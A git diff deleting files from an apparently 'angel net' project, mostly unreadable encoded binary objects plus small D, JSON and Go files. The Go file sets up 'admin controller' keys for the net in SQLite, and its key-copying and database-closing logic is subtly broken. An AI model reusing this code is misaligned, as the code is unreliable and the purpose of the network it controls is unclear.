z0&W_^q~*6pB&ImzC}s1w-fYF(SC?wDl#S4bhl@KxMJFTjY`$~CoUl2_1)*A`;rMC~4o@EdXnfG3>Qvv#|jap}Q*D*UDo~09- zqEJk2s}iI|L#{!hJamlw$YKJy>NsMzD>b?q5wi`1`mkRo%fX9%x>BQg^ONUS0V8wn ztB@!>B|=sYB8y4$>Nd=mrR$5-A8tS{VQel*^$NJBV^s2j4$h~t5AdMT)t@w49Nxpw zP7wlEjhf?N*3ZP%_6FmndivVEMC&gG+-lm;A6&ut4$WW4B8iNpk3viSgmhidgHiaS z;Ur{IVLw}uYE*L2Ib*`GU>_kIP(p}$^@N#!GaUMK9h7lqXGOtg!Pn6Ts38=B6@rVZ zsWNjNCo+}L+du=M(vJf|g#-74W`n+yDj2MjgMpF5FM_}Md8s&vF{+agScp`Uv__4? z&qRD6=c?F+r%476w$er=F=Rs4imJUT2Vp6aA)|LRSnb>S5$;-i=HaFK;&yWS=@*|K znytDz(i=JC$>8JdUVMPwizx%_RZsydD!0f01d^kpCR8@UWzk3n)hm`$ZSqPoIAZJE=#i!$g*eI15DtfCWa74x*3+^~4b z4)GCaOK>lWG#Qlw+G7*w(b2uxQpLxBK%sCXN5(*6B6~w+= zQ#WuOM7tW zXZgK1aNNfaH-DiZgxYJ6s+UdI2}eJ0Q({3&{B+8PF*%ir&RXkONDZl0$bvP|EfDur zHz&8@@Z$I8FXqg-7QtS-X5=Q<{sDJ@qY7Xcqnv6YzB9==^Q5#(c1V6D0nQ5gZsPe` zzeuTF(0quT!Z%SV(}o3e?=Svv0d}j8sknb{_4C_7qc9LfK|&Ev$U?}C8Xb<{O&fb@ zC>_9v-2;9I)+N(@Nn?qCzA+jc1AOrpRv#Za?BK7iest#2{61etHcb*)G!}eF8R?jm zVH+J}$bqKVP;Xm#@ETH>2kD6(MU8vlcalAcPN>P1|Dyd9wZC!ur(YZ62@bkc*Ob$b z9_Yeoe1HozV*o|a9*KoeK=p)CxQgBu@5N|O%opu1LMWy~OLdH0vdcj>m)`ru@easK z2XfVmzPDW=0)v=(^{s79)WvSif7{3b$Ypd2h!^p++it069@p6}kyO?dAn^-5Yf&@h z?NA5s?&O0alOQFI=YY?f$I!bZq4)bs`~XX;r5;O+ebmpZA30ikydRnfqN*5HVKOk9 z2XO$gHE~+tmhlhDb){$mlsaxn|E)F7Z!eYDFolUT%U)B=yE z7l9Fwim@hL#R^;My)n3){-$U>WH$lb_yD;0CK({tSo72pZa2^8xK|=1n;ZDa6%Hbg z3V170NU@_5RDshWdej}A)FdflO66LeA;)ZRqtuI~1sU(%Kpk$V>F;PMb<9E9WPg6!SkT0{N1z| zZ`<(V?xgv5dSgN}zrQ=bF&`n+N*V#g;9UwGK*Pa0HUwEM0|6#-GM6Tl2B2gCiBX6~ z{E&x`w-Bkrny0S&K6L~UA75X(7KHTt?P8(x3wY3T z%V2iyC^m`-RTM6b7>d&}$2!LAvP%{v8W1WkG4Dw~yVU%of$mu%dLH)<$B=lK|8};H z?JT%?Ei6&su$>H!)-x{=SBPo~3b)R5b#juG_*F~t+t`a32KahGDR2v`1tIz9F&jCr z^UBQ2!`o`4P>|4TB+w1O%_?i!+ad>m96SPX-FbpYx1HJv0E4 zjX_5yd}s`kgviVl2=9bw>9Amw^KNHv8QzmE7)smIw&u74+bMsi7CF)%FJx91i&tmm zdVZpcT)CS)prbK#bfK^souF7`=(f(gC+NtzYLZ^WrBG`Y(oUp-7pu6bUUm|X$DHqa ze)s8*UGM!D;wM)j;nDxpNADV?q$uk|rzX8@ji%7zh0adp8`>~P$_o`vMIXj+P`rsr z?Z9C}0(D!F{26^V(|hy#dokeXr@Nrs!`lCc*UD77o3Oii?~w^&kWp(S>KC)=*?Kqv z;285z#HJg|3<~uSs+n{_TTBvdqzyxR!Ea;NDGpuw%@2x=aBHGWN|( zpZR$eMqhD7<|nUFDU2UjBVCg`K(|*FU<`29)#POBoLP+BUc{&{x>JV9D$q6#V#MaZ z$Mo4Ye4ef?jxd|MiBkbl&jeBhxqx6#QKu6aV(anc@)Ir=tnduM<5mO62%bBMe0;k#L$%>c&G)M9(Av(KpL&M%Km=r;cPeg!Z*?~9gY^d!kECH7@$!y00(#5`D`QVM1choCfOsd?SP8GX-) zfy?2-Xud&{9=+-lTeBb38+*CmniYS2bq97kdvS5*FR}~sD6$b7*Hc7iJS#LAfqK(r z-800PNkB}GBnBdg+O?9Joyw1a!KJHtpcx}?{_&Vt9L_xG7l%7><><#3{sC2abFW3- zS&SJ*S&Wrwr4sQL${DS47I(dFF-{B_lT4}m#-vNLF@qV1O!m7A|Ai9|g375O+`gcB zFFt(+wp`I3u&?JE&6R*b#g>B}At``5!95LI$+e_%QJHfI5{f4CmxlB^9>1P0 z6wY!bV;LShn|FSm^ZV?kqLz%`O=?=igfXZFh3pswX~L0iZJ(=G8!81%Db=eaEAaIq zv@T7t%*K~_YN@tH{MvDbHNRZu+<>2~(}*mvhQ4bB0wh*08XJgE7Ig{*R|=BOH;vL` zT2dNW5TMi#DE9`Dq~q82H-iKK z8Zq!-E_}V1 z1}>1BzoY;F!B$lL2@MGf8`yd!UJ&j?R6S6H_!iR^VU-l>NZ0`iH26~i=;``tC>ZrB z)whSxeyE;-)BFS#-Npop3pv`SHxf*s^B3o4If1bj4W81pocO>&uYCwn?n;C zJ;S&4nzsYAcZ_9KieH?leVDJkoq-%SVmo^J@NdU&Y=$9u@r{$2wfiAKgK%qn?;Npx zL!FHu86V$#s4WfSI*t=twtswmy4?x~gj6_X$e;Jkmmg31poWrt;G+A1&%?hRKlR%& z#r~?{@3@$XGl+j4=I`F@cJTO<&o571br%hdep0I$di3_+mCZs6lr>Qce7aIvczS() zX>Qu?PJ;nC#`9OCz&>|CON(BCUF^Cb7@}>$ThccHtI@w0Nv@nwggU95r%{mfB$G$ty>hG?H5rv~7tX`$1_toas;l(JY?BX%eT zsW&T=YS~l(651+uS^jvs`P|+4{ElzR3I2RNTUY>0$=sG6s{zJTk+#cYoR^G|bfTy% zuwYTQm;hf;TZf}!AGrTelB6f6R&Baz%uN_Qp6BYWyXiL<7c5qwXg4d!DJ(h>|(qN^c+9^^v8+#Uu@5AzrJj!*FN1> zs4+WdLFnW9Rc&Ls_*yy*&#YMpZCaaoB z)KT43^fgOJdZse9`p#|a;zkdql! z_>a)TJzYB3kjKFYhp%21`*#oR&xbG7(-wX{>wJuch3S!kdR(p6|uAY_^GELRe266B;fOo7^T5-$o5-)*8~pe;wSRYJWE>Ew|_VFjV9hS~rBM_YrTL5C0@0lKf(iKmw z#Hb#m@06kN$x&iz{GEE7>8WYt8GU7cm}f%jKOeiRZsNp@o-Ka3!?PbWRTablYsH>W zGH|F=tu%}vj9?RxMy;T+B#mj=M{z~19AAkr2ZUKG*#zKo#Yz0Uf8P_F?7)d5Ill<$ z`~x=e1s@M;*o|Y>b6f##`2PNlHC)XOoP@E%k_whCjTuEX z()cL?g+5V|=86#N?%-`luI*dPE}{Xk!%!M7>`gcR2KHv~>H(kN3#V5-D(`cr6i5ZM zrr<-6Dv2$72H76Q{yI)$ESY*#>wvn9nD=imznDbdBR3iW+mE-(g)-BZlSRbMzP$WT zzjNb%Y+lZ}j|!?D(#%1OHX-DYilRZC5-?!m(3ZhxoIANbK!u4zvVKAwVG;F|LDolh3)62!bk%9?La5BCqlbN>e29yaH`?f$x}9#1Bq9ul!5|9O9Rb}sZ7J?y_Q z7{`Md`4YRfYgHcpE7y6_!{2`PJEwQ=LpB^sL07pEN9CG=g0g*#B-0@yK^Hj^y(6`Y zV8!TY>m?x>v#TI5DDfusf?P&7yse%HjBO`t{@dneQ{8U<)!n>2+#ILRzcsxx-$T4R zl<<^G^%4z9puh}BR*+E+1;2-mDq(PncZkKt)kX83mI!xMXNNk)^1|ziiN7xRpCO}I102IcrqA|m#V%U(2K7BGECvPat*#!{=W0HM4mhMd21~(pF1e` z?zaI)n0@B$sl3MAEz?YU3<0~+v?>=Q;=)##@DRX;p;C>HGh&!ev__i8SG_kcuXJMv zL)mV=MrmgH@_(z8F;RUsx93UOa7$)hJX9vS2-ms_B$lnIr$lGWj4{qb(}}tpd!VjP zOe)BlmFtb~!gq(9l$l%O6o~`ZYcHRofDrVit9nb%-)`SjW3$=4Fa;^0MX$U@x?q?J ziY%e)4q4meX+6vmQwcd?OfO!0!iv6%ima-9mS&oWrjY2(U3)Xkl#3T|c4M>IsRPI< z5GD#qXpN#Pf&&K35cxvQQ$o;ju0Ik{0CTuR=+ru)Q@g4Z5d$RAu{^nkePih50wUv@ z70_W|z@@1^ikKG?vtfuuB&g5|0jPwuu$&W#FNqQwng>T*4jVIsCx$t^Q!BWwxTmw- z&p%5QX8r71PZj8K#Ok08<;Jw4Mj0Ip(F|c1kA}nv^k2EwWCQYYIW$=6&xTS9SdGVV z?@shNU~{L-lb2<)vuljw4kCJ`OB?o&`=w6fY-r^vyBiGE=g6SiIZQ578mJM8lsQt} z9!UKLxLe`LrE>=wA#K?qRy8ho&24c4$oFx58P}%D0_&P>c}xw z0dWG_PJ1K9MqmtD1-5OSSd`yyzN$)p z+cev+NXxp-*ZV;;cl(u*+WA$f>h)i>g^W*QM+ai7QS^2vDYiz~mL zJ#y(4^eH;f9L=>{@b~y_WMzqf_2eAWKA|QRO*JGf1S_IYr_AB3wNOHjvhmz=d^BX_ z8W#ke6ZyvYZq&&RT0;l9o#^yBYl=M}9@lQeapw5G^mehA^AGS^8P5eBE$bo;dcL}I zm=ee_<&=U~GwlFWsy!T}0YDPwqI>X1teX0(Bk0&Bg+ zaByjj#`l;E6^%DSaqSs;F_61Oe9;*4)b&4)`|n>3ffa zi?pH;_6>NF(1qsm8lS(aY)PSpz*$7EeJ7JbfusFVf^Eq58;(|vcb*+WqAiHcFU+1|Rm6=Iw2Tx8Moz8Xf%n;#MSQ6tCYn}=SZ8()Jc?I{Q{1A z^pXeS)cvJ)7f(CdzlVmhoq*_3ekQ&fo%I7@WNWo|aV|dj9S+JBzQ;@TaP|zeqWa&t z?|@h@l4rT5x`>P3%b?jhdPqyOXcJlrBs-1`W!m6b!~x`EGBN20v`&uo zj)pqMmK;CiG8eN%-sU$G6XG`thA+*xVb|N+5VqfL>S1(z`~64t^HzJ~A=LcZe*Y^; zj(^+@m*3n!zf|{I=@s*^hrjW*`q$4dzWlP;QgjYc>YfG^GvDJ#PbZo0|GcN|M$$F> z(Dis|Jk2^`iw#$&df1B2Zd1Iy{e14e-W`Tw#n0`TdOHMg_|Narz}VZkoO^20{_DGY zIQ(pEP4^4E?$uWv$S%tMMmrlHZX!*@&A zC2Rz#7;HSxGh!~$F4>15KU_Fiy=FVsLK8mQqZ~~>UaHrp&DqBf&pJ0boa7)8acxH` z73d_vA`mcSG0Hi{3y_pbq74wYgsK#mLc#>_i*OcNmg{015~}WhetY;a+|^@qLc0+i z#`SMs&FC2Zt-GTL`{i*E&x-Hty-~=S4L>l_Hu>p~ueT5N_PaadaADA+nPK?;!BA}K zorQSV7AFr~3U{yV$%NVAm$vhW-kGc-LF%3wk9s@8_fYgatYq9?Jaya7lUVCzNqHAw z?u(`5H^W97c#vp(;G?)bsszTDKWQ5iY@d8hq({K6AX+g7z}|0}z%-251t7WQA= zO3Dqt_if|DK0R!`=ShdfQ}y#^cw_NXd!y!`jDGNLhfkqJ;``<${kl6UfBbXP{Yb-~ zZofaYP2BvssWnwL(KVs1V%tjL-zVac)1{tTxOgCQhh3s4Q5Fq-`Un66c?Zl|?4=JO zbmmC`7|%-d*kH6eik&*L{GVbO2qFaMM_um818Jz|KYWR(V_5s)l^kyQ#qExJa&vU6 zdp`H@%ZGl3E7xngcPFPCX6DA0?@MqO0nm@?_PY=D-eK%WwQuaz?8kvB&SX)&l9w)( zSr-uula|H=QjnxRsNaK_lA$R4j}*vI&s3e-Seu9+$LZw9^lz_$S3f>>T8X@X53Utcfh)6`b29S$8#@U#xI5q`z_ty*rRFO zKZ>hX=kfOS>*hSH_=pXw@twsA!YCCqqvj3zp&((BKyFZHOHU$Z)1!041npT8-g>bx z6RWhuTq9Rr-w91a(B_zSl7dv^5tGlodwN)B()Q|t1Fyko-6ZNlv?(Ok`G31Mru9bpET7u4dBboG!t?xVlU zaBn>Jn%wI*4)JV1_jdIcW0KQY>T-AIc7<3Dz&!|0<9;i9rQ3JD7jaeQvbNdU8rFk=EW3CSI*W0=TbO^&(P!6AHmxw~C<@P^?B zHuq7Zk3GMLf4;vWVSV>M!#DTV?}S*tZM-_l%^zeHw_(n)WpC0r?wWJo*vVsCPJFHl z|Fr$%KwBQZdzK=dJ?#t6wSVas3CymY@|OduT_k;aX##ke`|)F*;MY;`p|7WTCL;?; z_(2&90)c{J{G=2GGfSLB6v0@Q-t!k>g|MIs`FOQ($j5cCZ>tu=!R|Jxz$~0j$GZFW zNydJ@=6rUrNqt-G8z03A4ARUHZBj6kZewmk|2G}^b|`=3+9c3*Lm?Qu2s*lki%yKz zfH}l)%1?iYgol6n^Ubxz9((`J*E|0igVL~&HGelE6#_j4Hm#1>f~bTkOO#Q_lm`(L zUQS?3@tEGC6qT!0#Kg*-0+tT1;B)~|s|yO>tQD)6c+#)6df501oOk?+~Rge(u8;YueyK!cWQH2}Hx5<3kU} zGt$!UIYQYe-|5^%VWCxycp#WZz^|inDJ>dZ>@OxYQ*JEM!_$Q;Nf`Az^C>R@x$AWo zV@VO?@J-5Or5lyA5{^(k(WwahEwE{+Hz`F?NDeXfH6aHB1lHpYOq(x#49!OIHZNOP z?qBa9NcVpZ-+bJwsUN(-@Z~_cLI!9HH4c9|fMHj*Yx^tbdp7^niw?U9NF*NfEYNhc z{uqRm6;KW7No719WwNHnWq~buBStBp8#Zo}tAkuU^|WKnBPo5zY|buRp;2O~#H@h? zA=L;*a`?3z3*oydwPVEM|S`7&yJ}( zA*3ZkyZ5}7EaoXhib&ldRJ&W?MPU@931;59<|M&d69Y_CKY&gidT6Y;=Orc^*{<|+AJctK;(<~jZF$>)4AJ9W^+DWwd2p4Ez=I>K?;(QKp`Efg@6jMFJn z>|{-rOf|CH!jRNKqDgCcOIdF8TH1~88Zvfui(^saP;2+ zw6%y!GIu@Rv0hZ;WygE%j~lfw?Hmm9{tM5W`)!qWbm#WfhRF>An_q5?6P$HtJZ);9 zM4+R~i8LSnJ!+xM8`qRkR^n6KLrIOU5VcTflBxiC3p9-Q+IR)v5{}rn*2WcynET75 z-2Xch58{_EwuGw7%v)lrv|*;?Go!p~$RnrD(g*WK*iDa-T8@rn$p&!-nA-viON;uN zG*GKGBO7lY{QFySeFDPycAnps)$B=%wjjC$nkMZD-;GkIDvYFtj3gZNVn{vet&H|C zh*uiDhTE&+87;esA#VGvx$+E#ffyGDzr8B+z6KTH8X?e;s-}d92-m;Vp&szGaaM$2 zID1rO)WK+7=MO`kU$0ze>O&sFOd}!vFSOiVe;};t{ZMiK%^ezU&b%9>*AHAT`;3Yp zE!GffpoK&D-V7#09PDIMxO+qCLYyU~?`UFMkhw{mNbAP^&ws-P8A%jUA%BLd&G{pd zGR$m0cw-u`Y8KIJo5~klo|aCXp?)%1xh_W&t;bDX5PHeA&xDnwh9a6I{y7=`^3YL> zKmYgb00ObH0q4N+m6t;6s}= zWx}<#A|oOs_)(+NTorB39esg&`)Tm8>hi*p$Ab@ zP^ftmR-&fiwuW;Z&rG&zNT;_d;IO&h&4R(hkOK$}Grx5bV_ET;G5uJ+g5PXK(M}t~ z*?3g-@j6-~k;O#atEt}97oT3*e75<($d8ymsO1y`n`$iy4i7+YFvdM&?qTZ^2!Ud8 z9#O6$WJG}(K|xn|ZP-REjEUV3p5%?5tfw1b7hcuN&$Fd0KF8gg*Mh-Omjs0uFmWQ& z8ffZ4@SiArh-s}rR!Z-xD?|-4Dx&iKtYrYYRm=uRCxV#cItJuwI<33>!P9&95v!%% zZvc5<76py~@YwOe%M+d{BWjU(QksuQGwOB^%`I@PMk6+@%&0ry&W*pC?J^$j?%uF0 z=RYuNX9YA25fO!wVu|Jt`9`G~30oAzcq zOX;Hz!kB@D92#!qqJe%>^Mrz`Pr%m4^c^!M2p(zk4*RCPh1V1`iyrl)vGjXbS#q7S(gfupaIfv4@(x(VQ`D{nCt@%A2vBTMFv-yKQ4Ts1B2 zgtl@5^nv=sv`4cg5TAk9%qS&{c!8~<+jvQE6FeL8O??Gad}kH+RIEb&2eto=ZTSF! zZ2j#-)sQ4YG!vYm@dUS1MMi#`fH?#iy8dIvt|p3A=62GVqkyBH16^E>6DfAs?sYE^ zM|Rd8aQe*n@IVLWy?=dVD;lcZvj~VHApze>v54#Ah)7x(A<;q2W-wH3+Kvc-2{y4+-)=+37B?2pMO(_mn zj+FUooT@%5nAYBJX%eF(?|r~LWjT-h=hF=dV>0(y77C}qY2`f35M7vgEH~CBzA`d} z$^l^tw=^{IoSR|l*@9$|ysa}vof%z?qi`o|j8MQFN@)jgupc?Nr+ZKB!B9d!Uw$#W zumhA4BG477k&iK=Ns0}1t$~ZXa!z zc;~+ELID87w!!UmAP(gnzmIzMQDgmH`?NJ_eo$N|O`$+|HeDz~>o zS;NA_=b-1KSUz!TyJb*@is7#3izsK$Ll=sC>)>Eu)VXE6fErmyzJmpD7b&>b1V?HS zb^+Q$ZFaEo31O)NG^KoM5zjxq>5Dl3^z+|6^GJAXX);QJo}Q)oW#VZNRwfNn+=xmh zEkFaaGV!YLBU#Jylmd~AFf_)&jYB2u&tVa}4!#Kkaq=^li=8{^hOeVM8e`#ncmxgZ zy8c@&SX`apQHwAZhDE!JT>$a0MrNdp&Ptl*Q8XXHtDCcq!-+-isnDk@48J({i$b2I zdWw1>1u~eo`0>up?a5bAypsn8msdFq*hFS>>sU!(n{H4h*UuH}6bi z_z?}7r;8l|=$Yde6nJsJ-ZR!h2D>6p*+{5JW{F63c{n_Z$eM*|(8r{0N*Uw_>)@ZP z%zG1gjvVI!znV-E$md)p2a??Xh%etf-&c>%-yUAT7hNi*m`0k5)N7Eq z)hex}#!ps?2J(m8q{T+%R>bW`LFAIl6~-StCe(>XL9dY|g`fNHSrdXD4Ku!*qCw>a zM&oG9z+-|-0UMB*wIEvN)x;5sN}Ze`-yK(LEPeG5uTupk~eGXntW^ z8jQ<{(;dKi!CWsS^*n(I$0pIy-w!DlCRB>oi#pJH7Hd7)t>Ja!ckx6V@f@&qUWc`9 zIX=_5#o5mWcL785o@IQ#F~3NW3kL7W4sO+LesK$TWQB_@%s&VDde$q2%dhB# zT!Xkm7@D0{0Mm7-tI+UlbyoHE04BjiW@$hoP1cd8GVp|KChHE=4>ntp>xt~x>23^B zzTV91UiylCYp zZFKo6I&E-GX@t2ZrVm9gI;Lf&D{TCU{k;dYH!DMY@V8&q?iqgg#+ebK0g)&Q=9fuY zWY;M;!$I^@K&5!j9$!r8i_Kt?C<57{05bxyfZ+>f`H0HDYpKL1OEb0I8=TtjRPnPXqfBD^tB(gqkmMm##pg zmedXfiiwXi5+F|R$yDrrY(zR;@keww8XOZ-ee{8Vz7ittkVy(T3UYE$lS9L^>JW{F zbPO#Tcxntv*qS0$v{uOkac^V_Q?+?|2!*dWZ!#_We;&13b`;1 z(Y;-maDkTE7X`glKr{ms^h;M2phwn;1k!}e#zDB}WK`C0NVugZ2X)xe%Y!+7G+2RT+#tUwt88ybhBUf8P%6lw#$x_N9uvt*dK z`}KZ1!D;vHzt*cStNiT`T-}h-zx4c~xCQ`_-SD_T%!mT6eofq7`p2ZR7@18Gp~^R?J`GGso8@S%7%W?!#u%;cA+Q3Lb$h zticXLL_L$3b%#R8@hyya(*vpB(P$ZA+10I>W6AT!Js6xSN_p3;8>0!yGi15yZDS~k zf^%myuHss31w5}5U#d?m0S-B?IE|yeyuRf3Bf#U0(7gY8dmbu+Cy?TIq8B@#`MbM# z{0JAuX#TB)RVbb6kpTR4igg`6q8i5vFVpNl#Cj7emg@Ry;zgz>t0`g|wPvBQC}obj zlz%gXd=qqk_%0yOE9hXJGZUc$&&2uwZQ7LR1xMq9F@jpc;^d4m)F%38~dV zU;$}fOophfT``K`6J^l-*8Hw<*c+JhMbFP$$kpuu-G(_4icse5F+_BhD277#@RxOC z5`5Qcrvjc}Suzeh41$zg4CwOP_u;qq;pg+ko5<&{_7_Ve6YsneX09`)fqNO+1JH@0 z?~?8lUn2}HC81DXJQ^sIb|p+G-P+eT;ke>Fl)c}LCq(F%E1usWtjxbkqp?Gq@e(D4 zTYzjM|E^WN1l>)t1f&J)!J803=(<<;Ab+z`JRW#nBjM@WyPmJng#N~ghZgR6V@Zf~ z$kHLHiIz;fF%w%DiNqq0fFvNQ2*$0OdRhZaP!b)C~P=_Qk8wgQXbGGd0)(lG)$r(R&*TW*WS(X!n+ zf2pdc=G!X&0v@@&{qqjAxO>xwVDa!Hch7$|W8V*?C4PVMdsDx-#bBm>_4wVX54QV> z^S}O`+-Bm`;#JRkR|W8tY{XyC4TE!wTK8j!o0?j#Ef5n|(q}-T)=xSUksqrta=+xW z5w)a6*Y4`!NKQ^|YnP@^?ehDlr#AY%{kC3y^LQ?C;M3pTpW4Jvod5NI>(mCzH1ny6 zBE?D?iD~GutV)C`yATcH?4&Mm#zc*1W6QEL?9TW|GiHqL!?_JT;R54m+KY^w+RnC4 zp4yx5pPbs{_hREuA>S{MdI;ZM|HnJWIWC}PAl<2+n#Iv9G zZ4#}M(rM&#Yz;I7+sQmejSKWeX!Ix{nBt=gRw>1B7+^pQeW6ffR4wqR{rA>0-1~Xg zBV3WW0|3F`a&tTcLI9?-V(2!8M{7*(LzPIoksvNNkj&wQ_^k<5vc$pu6 z*$k7xzDLtsNwQa1jFicGP@YcG6gN%91`|cNDn6_9PUYeAP*TKcD5>OLe(|!6EoT0k zrlu=mT$B`ZGlTzPPPs*eBs76ST9W1`1`fGGS=9H{2(dW<0>&t*Vy?+P(qA~454dKF zxI-0X%S3f8y5Z?2D?AtoEa-rT&{Jpc2x&xKNC#7CCPe4pYaWfsVeg#G-Xned6+^sf zq2P>|LAvNz@*cxdQsd_co9enYR)GhOgx>TkRbn9)j04_R>0Msu*Xt>#f+J+`4h%LV2jU(gy`6Wa(XYpq}K)y8$o%~m(+SRMmv(tp-|>T3>_i}9QfA? z`1Ag;jICsTLyXP4Y;@aVGLnok?VKPVkZNfu#;_-J3S1>glOgjaH7~^jbzZ8k`LUQS z^>@$Y18x@yVunf(hI6bSx)OVew2V?R|A`E5klV#F#*wCL&qf2Lo<0n`5P;G`{qF5L zM)8;CYyRuCZZ&q}rPWBK;uWlNNNea5nAO!1wIt{hBRBPMM}%Hjscq${- zcz}%N^^wX~=9Z{e8Sa=bxjn!pf0?*yEv4&*ZnHDN^65ELd}Lg8m^X1h!r)A^TA zW^6h0Uo&Nlkd7G7M-irB7c}LPKM)q9u@JZgp_3Fb_Bf=w5yKT0$UFS~wakCb zI{ut1QTHyaL5qSu>Y9Xz`4IZgnBgo+KbYVGNnN~nheb*s-keZl7nh+bc-8aouGz@B ze83%Jxu_@$+(j`#eJf(5Inu3W1u9+%x&+BM%Cen4Y85UlDw?W}Y*`K?ov%EZ(15%M zC+8Rci>XxF@!2Ig3GKU9iXv0dG_52_5)Vp&@|6(1Q_8^q(H_p-ctoZsN@d2GK8L{> z(*T>g`{m;1FDxUc@HXduj0@%S;Rk7V34DUdyytfL8->kuNKxsYJ$}sh}4?J zM`6;Fp2j`Kw&nIo!LG<3$Ap&i)67jAo*8?>N)|#JKoHVcE~Gc6%A}tkAk4{Xdq@6m z$xRuvYvf;sxk%)OTn|wcotzWx6V)^74-`E;43rCfyzS(ZiD9`|xxp7dnaDDX!X3W2 zZ;&{j&2pU4Q~g;zH&2_#mmqlUssH=&mlu;-_QNpu({X>Bs5kt=&FkjIV8`LpZNGqS ze*B6FpI@4o?G;NJl~Ea|`yHp?9XdKrrrE|{cEN)_v~djoC7)q8ZSqL9AD=jRPKTP} z*X`l#_z%A~b=UXLZYzH_KLui`Ga+cD0*8?3rkr8miN5KaY!Q@K;n*w`+(MmB3Z@{4 zn1kY_CN$|odT{i4jyG~l7^2-aoW9EsS*d9P*|KD30v!eUsJH>MO#Y4`8_MB2|5w4B zUdO^=LD-ieQeOLWA~YG7SUs%tqJ#Lffn{Rd|LP1ddU(9FNX6%DZZtf^aC6<$F*gMf zK=_5!02+&~&e||UXIqJzDHxL5HUr2Y9FZ4;y=tO|ah%~1O6(8xe73Wk_KUgkh0UK= zdPpvR@buV2hJNsy‡!bºðíuŸ-,‰6tH™ÔJ‡ºŸ‡u€ºQmCx?}·Ú§µÖGÍy‡ÉóûsaþòMF'ó ueŽÅWñ &2` \ No newline at end of file diff --git a/e9fb789bf225de3ed80bd10e833ba5495a109d b/e9fb789bf225de3ed80bd10e833ba5495a109d deleted file mode 100644 index aa1e277d6cac9991605997f991c2b53d0a260723f2e0201b605639b14ab8ecd7..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 527 zcmV+q0`UEK0o9dXZ__Xkz^s@{g0o_=wTv65L8LGiF0n3Q6_3a(sqfwThE~f2;QIF4*DH4SnbU>}o4K7}DEIpp z)@oL4Ej7!r+B#X!X3i?d#(c*O%^=TnrKK{k&p^{^4y!fH++oX--MJU|%~k7$eONtx zxoU~5Xfl2+|h}Jd5-u}PKEUh@*fgcc&9E`$*q6c)6pMpYXY1ZR7 zOdxqfmx=TPYg}urHpirsKc9)ZQ+-8BZQh3)K9o^uC51(XHms1m z1RhNxAq54iG5P5XBg^WIJ)TquehO3&j5u9ULo`#CN%5y>JxBWrUh4O_LVcMg)>-2! zz8n^aoD7trtu*$!I;K&syL*nX#;6eCFwvy{qJ)K zMGP)&oM%73XD5?7BTvu6hhszt<+`ec1hcH2(8|&m;;#{K%oN}-rjylhFdWc+xNj_s zVIvewwHZlf?NorweW5cAoRg%;@FKmG5;|TkX#ez!XATU@B+&IayV7}s;i=UJ99-AR z?nFHo*{B4*yYQb>Bt7!hs2p_@EC$j`g1Er+1y;+(`|+GvNbE?NlzKm_YHgfQ#kZXt z94LGCer3UUl3#eYS}i(#SFk{oImiQcV_)e>CH(BJ3byv()fiyhJ^G*@byns=c`X+g z))~QX%9Z|6IQo39Ig@wo0`|!as{p5ahfmS9D~)c7a>OjynOg0I"%"7WÃ5°V¿p(ò¢µä8½ÔËÒÃÖaú£x¼¶%×Oñ¨þ3ÅÀ®îw)ÆÞ©²ïï.ž]rÚ( UR߉SܸPdúXÄò}ÖeÿiŠUK \ No newline at end of file diff --git a/exceptions.d b/exceptions.d deleted file mode 100644 index 21d59b3..0000000 --- a/exceptions.d +++ /dev/null @@ -1,36 +0,0 @@ -module angel.utils.cryptography.exceptions; - -@safe -public class InvalidKeyException : Exception { - pure this(string msg) { - super(msg); - } -} - -@safe -public class IllegalArgumentException : Exception { - pure this(string msg) { - super(msg); - } -} - -@safe -public class InvalidParameterException : Exception { - pure this(string msg) { - super(msg); - } -} - -@safe -public class InvalidCipherTextException : Exception { - pure this(string msg) { - super(msg); - } -} - -@safe -public class MaxBytesExceededException : Exception { - pure this(string msg) { - super(msg); - } -} \ No newline at end of file diff --git a/exclude b/exclude deleted file mode 100644 index cd1b8e9..0000000 --- a/exclude +++ /dev/null @@ -1,6 +0,0 @@ -# git ls-files --others --exclude-from=.git/info/exclude -# Lines that start with '#' are comments. -# For a project mostly in C, the following would be a good set of -# exclude patterns (uncomment them if you want to use them): -# *.[oa] -# *~ diff --git a/extensions.json b/extensions.json deleted file mode 100644 index b7825bb..0000000 --- a/extensions.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "recommendations": ["tauri-apps.tauri-vscode", "rust-lang.rust-analyzer"] -} diff --git a/extra.go b/extra.go deleted file mode 100644 index 040a7e2..0000000 --- a/extra.go +++ /dev/null @@ -1,48 +0,0 @@ -package extra - -import ( - "angel_server/consts" - "angel_server/cryptmeow" - "database/sql" - "fmt" - "log" - - _ "github.com/mattn/go-sqlite3" -) - -func Init() { - consts.Logger.Warn("Welcome to angel net! To autheticate as the admin controller of the net, you'll need to use the following key via the ssh shell") - consts.Logger.Warn(fmt.Sprintf("%d", cryptmeow.ControllerPublicKey[:])) - - var err error - consts.Db, err = sql.Open("sqlite3", "../angel_db.sqlite3") - if err != nil { - log.Fatal(err) - } - defer consts.Db.Close() - - createTableSQL := ` - CREATE TABLE IF NOT EXISTS layers ( - layer_id INTEGER NOT NULL CHECK(layer_id >= 0 AND layer_id <= 8), - public_key BLOB NOT NULL CHECK(LENGTH(public_key) = 32), - secret_key BLOB NOT NULL CHECK(LENGTH(secret_key) = 32), - PRIMARY KEY (layer_id) - );` - - _, err = consts.Db.Exec(createTableSQL) - if err != nil { - log.Fatal(err) - } - - var array_pk, array_sk []byte - copy(array_pk, cryptmeow.ControllerPublicKey[:]) - copy(array_sk, cryptmeow.ControllerPrivateKey[:]) - - insertSQL := `INSERT OR IGNORE INTO layers (layer_id, public_key, secret_key) VALUES (?, ?, ?);` - _, err = consts.Db.Exec(insertSQL, 0, array_pk, array_sk) - if err != nil { - log.Fatal(err) - } - - consts.Logger.Info("Database initialized and 'layers' table created successfully! Admin/controller handler has been added.") -} \ No newline at end of file diff --git a/f02fe2a0061d6e6e1f271b21da95423b448b32 b/f02fe2a0061d6e6e1f271b21da95423b448b32 deleted file mode 100644 index d63cc2fc6ddae30111f32cbccc8e9e471849e679265008259a3aa6025e8af140..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 54 zcmV-60LlM&0ZYosPf{?pV9?jsSFkBcO-n6G%}Y*ID5)$+Ew)uE%PdLNPtM6q%_~t- M(6{3P093dRmW<~YrT_o{ diff --git a/f2154c538f2c1e4cc57a4f10adc8eafb37dc72 b/f2154c538f2c1e4cc57a4f10adc8eafb37dc72 deleted file mode 100644 index 